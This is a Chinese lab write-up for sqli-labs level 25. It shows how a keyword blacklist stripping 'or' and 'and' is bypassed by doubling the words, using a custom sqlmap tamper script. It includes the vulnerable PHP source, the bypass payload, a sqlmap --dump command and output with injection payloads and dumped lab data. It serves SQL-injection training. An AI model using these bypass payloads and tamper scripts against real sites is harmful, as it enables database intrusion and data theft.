sqli-labs通关笔记-第25关GET字符注入(过滤or和and 脚本法) - 教程
目录
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第25关Less 25基于GET字符型的SQL注入关卡进行渗透实战,该关卡过滤关键字and和or防止SQL注入攻击。

一、sqlmap之tamper脚本
sqlmap 是一款开源自动化 SQL 注入工具,支持多种注入类型,可探测、可渗透获取数据库信息,需在合法授权下使用。
tamper 脚本是 sqlmap 的插件,用于绕过防护机制,如编码转换、过滤关键词等,通过修改 Payload 结构提升注入成功率,适配不同防护场景,是工具灵活性和绕过能力的关键组件。tamper脚本允许用户自定义修改注入payload,主要用于绕过WAF/IDS/IPS等安全防护。以下是编tamper脚本的基本结构,具体如下所示。
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL # 定义脚本优先级
def dependencies():
pass # 定义依赖关系(可选)
def tamper(payload, **kwargs):
"""
主处理函数,接收原始payload,返回修改后的payload
"""
return payload
二、源码分析
1、代码审计
本关卡Less25是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less25关卡功能是简单基于id的查询页面,详细注释后的代码如下所示。
";
echo 'Your Login name:'. $row['username'];
echo "";
echo 'Your Password:' .$row['password'];
echo "";
} else {
// 显示错误信息(不安全)
echo '';
print_r(mysqli_error($con1));
echo "";
}
} else {
// 未传入id参数时的提示
echo "Please input the ID as parameter with numeric value";
}
// 黑名单过滤函数
function blacklist($id)
{
// 过滤OR和AND关键字(不区分大小写)
$id= preg_replace('/or/i',"", $id); // 移除OR
$id= preg_replace('/AND/i',"", $id); // 移除AND
return $id;
}
?>
本关卡实现了一个存在SQL注入风险的用户查询系统,它接收用户通过URL参数提交的ID值,使用黑名单过滤机制尝试移除其中的"OR"和"AND"关键字(不区分大小写)后,直接将过滤后的值拼接到SQL查询中从数据库查询相应用户信息,并将用户名和密码显示在网页上。
2、SQL安全性分析
系统虽然通过preg_replace()函数进行了简单的关键字过滤,单仍可通过双写关键字绕过过滤机制,导致依旧存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。此外,代码还直接将SQL错误信息输出到页面,进一步增加了信息泄露风险。 SQL语句如下所示。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
由于源码过滤了关键字or,那么如果我们计划注入 id=1' OR 1=1 --+,只要将OR变为OORR,即可实现绕过。
id=1' OORR 1=1 --+
经过blacklist函数处理后,OORR中的OR被替换为空,OORR处理后变为了OR,注入语句变为如下所示,从而实现了服务器的过滤机制绕过。
1' OR 1=1 --+
三、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page2,如下图红框所示。

其中第25关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less25关卡,进入到靶场的第25关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-25

2、tamper脚本
构造25.py脚本,使用双写方法绕过服务器对or和and关键字的过滤,将or替换为oorr,and替换为aandnd,具体内容如下所示。
#!/usr/bin/env python
'''
sqlmap 双写绕过
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
payload= payload.lower()
payload= payload.replace('or' , 'oorr')
payload= payload.replace('and' , 'anandd')
retVal=payload
return retVal
3、sqlmap渗透
使用自己编写的tamper脚本25.py进行sqlmap渗透,具体命令如下所示。
sqlmap -u http://192.168.59.1/sqli-labs/Less-25/?id=1 --current-db --batch --tamper 25.py --dump
-u "URL" | 指定测试目标URL |
--current-db | 获取当前数据库名称 |
--batch | 非交互模式,自动选择默认选项 |
--tamper double_and_or.py | 使用自定义tamper脚本绕过WAF过滤 |
--dump | 导出检测到的数据 |
如下所示,sqlmap渗透成功,可以通过联合注入法、报错法、布尔盲注、时间盲注方法渗透成功,具体信息如下所示。
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 66 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 6893=6893 AND 'onFr'='onFr
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(6554=6554,1))),0x71716b7171),6554) AND 'wxLL'='wxLL
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 2664 FROM (SELECT(SLEEP(5)))QPhB) AND 'JOjg'='JOjg
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-1720' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671,0x6746774e61674d594677435552746a4242564d4a65476458566e48676c7a7a66717456756c726a57,0x71716b7171)-- -
---
[05:15:37] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[05:15:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[05:15:37] [INFO] fetching current database
current database: 'security'
[05:15:37] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:15:37] [INFO] fetching current database
[05:15:37] [INFO] fetching tables for database: 'security'
[05:15:37] [INFO] fetching columns for table 'emails' in database 'security'
[05:15:37] [INFO] fetching entries for table 'emails' in database 'security'
Database: security
Table: emails
[8 entries]
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+

浙公网安备 33010602011771号